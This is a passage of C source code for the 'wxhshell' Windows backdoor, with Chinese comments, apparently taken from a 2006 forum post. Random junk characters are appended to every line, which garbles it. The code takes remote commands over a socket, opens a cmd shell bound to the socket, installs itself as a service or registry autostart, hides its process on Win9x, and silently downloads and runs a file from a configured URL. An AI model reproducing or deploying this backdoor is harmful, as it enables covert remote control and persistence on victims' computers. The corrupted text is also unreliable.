c\. )vH  
    switch(cmd[0]) { 4M"'B A<  
  Ue9d0#9  
  // 帮助 |}77'w :  
  case '?': { '@24<T]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k x:+mF  
    break; I]HYqI  
  } Oyb9 ql^  
  // 安装 NkUY_rKPb  
  case 'i': { _oZ3n2v}@  
    if(Install()) !IJ YaQ6z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`ftflNh(  
    else n 'ZPB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &DQ_qOKD  
    break; [p4([ef '  
    } rv{Wti[  
  // 卸载 s {*rBX8N  
  case 'r': { VN-0hw/A  
    if(Uninstall()) .\`M oH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tuH#Cy  
    else BHpay  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4wSX{c/P  
    break; d1yLDj?  
    } VKPsg  
  // 显示 wxhshell 所在路径 )E",)}Nh  
  case 'p': { ~I")-2"B  
    char svExeFile[MAX_PATH]; h/5V~ :)  
    strcpy(svExeFile,"\n\r"); ZXhNn<  
      strcat(svExeFile,ExeFile); vmxS^_I  
        send(wsh,svExeFile,strlen(svExeFile),0); ^E, #}cW  
    break; ]Y,V)41gCE  
    } 1^AQLOiRE1  
  // 重启 yu#m6K  
  case 'b': { E.C=VfBW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \HD:#a  
    if(Boot(REBOOT)) Uv k:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "wVisL2+.  
    else { )[99SM   
    closesocket(wsh); Z2;~{$&M+  
    ExitThread(0); ,wr5DQ  
    } ZHRMW'Ne  
    break; 3Q&@l49q  
    } z>W?\[E<2  
  // 关机 #Hy9 ;Q  
  case 'd': { f3;[ZS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2n"-~'3\  
    if(Boot(SHUTDOWN)) "Ml#,kU<T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,H|K3nh  
    else { pw))9~XU  
    closesocket(wsh); u$qasII  
    ExitThread(0); Yi-,Pb?   
    } {DVMs|5;^  
    break; 7iy2V;}  
    } Us[F@  
  // 获取shell _or_Vw!  
  case 's': { g6gwNC:aF  
    CmdShell(wsh); }w=|"a|,  
    closesocket(wsh); a'q&[08  
    ExitThread(0); {h|kx/4{m  
    break; CT\rx>[J.6  
  } s4Jy96<  
  // 退出 W T @XHwt  
  case 'x': { 4U$M0 =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a U<+ `  
    CloseIt(wsh); \"I418T K  
    break; 9qq6P!  
    } 0W 1bZPM  
  // 离开 p;%5o0{1  
  case 'q': { e[Z-&'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [IyC}lSW^-  
    closesocket(wsh); aYtW!+#  
    WSACleanup(); ^c}kVQ\g3  
    exit(1);  >YdLB@  
    break; [pt U}  
        } 2L.6!THG  
  } y`z?lmV)xM  
  } B_@p@6z  
\^cXmyQ<%  
  // 提示信息 !(S.7#-r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oh:.iL}j  
} Nbf >Y  
  } ( s+}l?  
tI0D{Xrc  
  return; (j%"iQD  
} A)#Fyde  
eOb)uIF  
// shell模块句柄 P-Gp^JX8  
int CmdShell(SOCKET sock) H ~<.2b  
{ F${}n1D  
STARTUPINFO si; 1yS: `  
ZeroMemory(&si,sizeof(si)); '^Q$:P{G?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *\0h^^|@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x9]vhR/av  
PROCESS_INFORMATION ProcessInfo; L8pKVr  
char cmdline[]="cmd"; ihct~y-9W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?5[$d{ Gjl  
  return 0; !6 kn>447Y  
} 3z k},8fu  
K,bX<~e5  
// 自身启动模式 WxJaE;`Ige  
int StartFromService(void) L'e|D=y  
{ Lq#!}QcW=  
typedef struct ,{'ZP_  
{ hBDmC_\~  
  DWORD ExitStatus; !%D;H~mQ  
  DWORD PebBaseAddress; $m-@ICG#  
  DWORD AffinityMask; 6,l5Q  
  DWORD BasePriority; Tkj F /zv  
  ULONG UniqueProcessId; /mn'9=ks  
  ULONG InheritedFromUniqueProcessId; p8iKZI]g  
}   PROCESS_BASIC_INFORMATION; Q0XSQOl  
xd`\Ai  
PROCNTQSIP NtQueryInformationProcess; x45F-w{  
wF-H{C'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H:q;IYE+a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U]M5&R=?  
a3[,3  
  HANDLE             hProcess; Eh *u6K)Z  
  PROCESS_BASIC_INFORMATION pbi; \h}sA  
?%T]V+40  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E]pD p /D  
  if(NULL == hInst ) return 0; ,W$&OD  
=+4om*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k5X-*^U=V}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F\<{:wu   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , 9buI='  
Q+IB&LdE  
  if (!NtQueryInformationProcess) return 0; XS>( Bu  
{P==6/<2o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5',&8  
  if(!hProcess) return 0; .07k G]  
[KEw5-=i@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;IT'6m`@W  
:?gp}.  
  CloseHandle(hProcess); 5hDm[*83  
bW GMgC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rf!$n7& \  
if(hProcess==NULL) return 0; mW3 IR3 b  
Rz<'& Z>;  
HMODULE hMod; "!#KQ''R  
char procName[255]; yi<H }&  
unsigned long cbNeeded; q^}iXE~  
k7nke^,|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dFk$rr>q  
#_'^oGz`  
  CloseHandle(hProcess); h\|T(597.  
|4Os_*tRKU  
if(strstr(procName,"services")) return 1; // 以服务启动 d-I&--"ju  
lgefTT GX)  
  return 0; // 注册表启动 $F@ ,,*  
} 5"L.C32  
s[t?At->  
// 主模块 w*7wSP  
int StartWxhshell(LPSTR lpCmdLine) Dd:48sN:Jq  
{ b}ODc]3  
  SOCKET wsl;  ^5R2~  
BOOL val=TRUE; R E9 `T  
  int port=0;  %d0BQ|  
  struct sockaddr_in door; }n k [WW  
!dwa. lZ&X  
  if(wscfg.ws_autoins) Install(); WFfn:WSWU  
>%c>R'~h  
port=atoi(lpCmdLine); l(Uwci  
r rs0|=  
if(port<=0) port=wscfg.ws_port; pvdCiYo1r  
G9~ 4?v6:  
  WSADATA data; /!pJ"@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \[]4rXZN0  
N}'2GBqfU4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j HEt   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m :2A[H+  
  door.sin_family = AF_INET; p|w0 i[hc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oUL4l=dj.  
  door.sin_port = htons(port); rotu#?B  
-]Aqt/w"l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aco w  
closesocket(wsl); YN7JJJ/~T  
return 1; }k @S mO8  
} mv#*%St5  
iE^=Vf;  
  if(listen(wsl,2) == INVALID_SOCKET) { O0sLcuT$  
closesocket(wsl); vSwRj<|CF  
return 1; (~?p`g+I.P  
} "6i3'jc`  
  Wxhshell(wsl); n"Wlfd0  
  WSACleanup(); *~`BG5w  
Ed1y%mR>  
return 0; CWSc#E  
UYhxgPGsj  
} 1P G"IaOb  
SL`nt  
// 以NT服务方式启动 wB"`lY   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C/q!!  
{ 3]pHc)p!.  
DWORD   status = 0; wT+\:y  
  DWORD   specificError = 0xfffffff; rw[Ioyr-  
pzeCdHF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JD]uDuE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a" L9jrVrw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sY&Z/Y  
  serviceStatus.dwWin32ExitCode     = 0; vywpX^KPv  
  serviceStatus.dwServiceSpecificExitCode = 0; 9<5S!?JL  
  serviceStatus.dwCheckPoint       = 0; pL2{zW`FDh  
  serviceStatus.dwWaitHint       = 0; c'wU$xt.w  
"-Wb[*U;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f7&9IW`7F^  
  if (hServiceStatusHandle==0) return; =OFx4#6a  
4-oaq'//BT  
status = GetLastError(); x !n8Wx  
  if (status!=NO_ERROR) )Cd.1X8  
{ ur[^/lxx0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =G`g-E2  
    serviceStatus.dwCheckPoint       = 0; dEZlJo@J  
    serviceStatus.dwWaitHint       = 0; XmN8S_M>v  
    serviceStatus.dwWin32ExitCode     = status; ;KT5qiqYH  
    serviceStatus.dwServiceSpecificExitCode = specificError; &W{v(@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wJh/tb=$o  
    return; #g<6ISuf  
  } k&17 (Tv$  
P[tYu:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TrBW0Bn>p  
  serviceStatus.dwCheckPoint       = 0; U|x#'jGo'  
  serviceStatus.dwWaitHint       = 0; H^M>(kT#&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cl!9/l?z  
} mB"1QtD  
dj{~!}  
// 处理NT服务事件,比如:启动、停止 "6Z(0 iu:{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I8uFMP  
{ kq@~QI?9  
switch(fdwControl) \;JZt[  
{ uc/W/c u,  
case SERVICE_CONTROL_STOP: |mcc?*%t8  
  serviceStatus.dwWin32ExitCode = 0; pk0{*Z?@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q`UaJ_7  
  serviceStatus.dwCheckPoint   = 0; 0e1-ZP CDj  
  serviceStatus.dwWaitHint     = 0; ~EU\\;1Rmq  
  { WWATG=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;3o7>yEv  
  } <6X*k{  
  return; z7TyS.z  
case SERVICE_CONTROL_PAUSE: 6w[EJ;=p_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wOsg,p;\'  
  break; W:K '2j  
case SERVICE_CONTROL_CONTINUE: PlCj<b1D:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gyuBmY  
  break; K|I<kA~!H  
case SERVICE_CONTROL_INTERROGATE: |qBcE  
  break; /*MioaQB}p  
}; ]'pL*&"X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M~~)tJYsu  
} t(jE9t|2e6  
n}c~+ 0`un  
// 标准应用程序主函数 bAwKmk9C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) egVKAR-  
{ 4iss j$  
8e1Z:axn0  
// 获取操作系统版本 x_r*<?OZ  
OsIsNt=GetOsVer(); hw(\3h()  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B<0Kl.V  
Sb(OG 6  
  // 从命令行安装 n#@Qd!uzM  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;%;||?'v  
F~eY'~&H}  
  // 下载执行文件 -+0kay%  
if(wscfg.ws_downexe) { $m A2 AI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6[S IDOp*^  
  WinExec(wscfg.ws_filenam,SW_HIDE); b`@J"E}  
} 7VL|\^Y`q  
na"!"C s3  
if(!OsIsNt) { dFy GI?  
// 如果时win9x,隐藏进程并且设置为注册表启动 [bRE=Zr$Ry  
HideProc(); Kxg@(Q  
StartWxhshell(lpCmdLine); J_?v=dW`  
} u1=K#5^  
else 7*"Jx}eM  
  if(StartFromService()) 5JHEBw5W%  
  // 以服务方式启动 y G3aF(  
  StartServiceCtrlDispatcher(DispatchTable); B{*{9!(l9  
else P^tTg  
  // 普通方式启动 (|NCxey  
  StartWxhshell(lpCmdLine); lqKj;'  
!-%XrU8o3  
return 0; 6q6xqr:W  
}
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只看该作者 1 发表于: 2006-10-10
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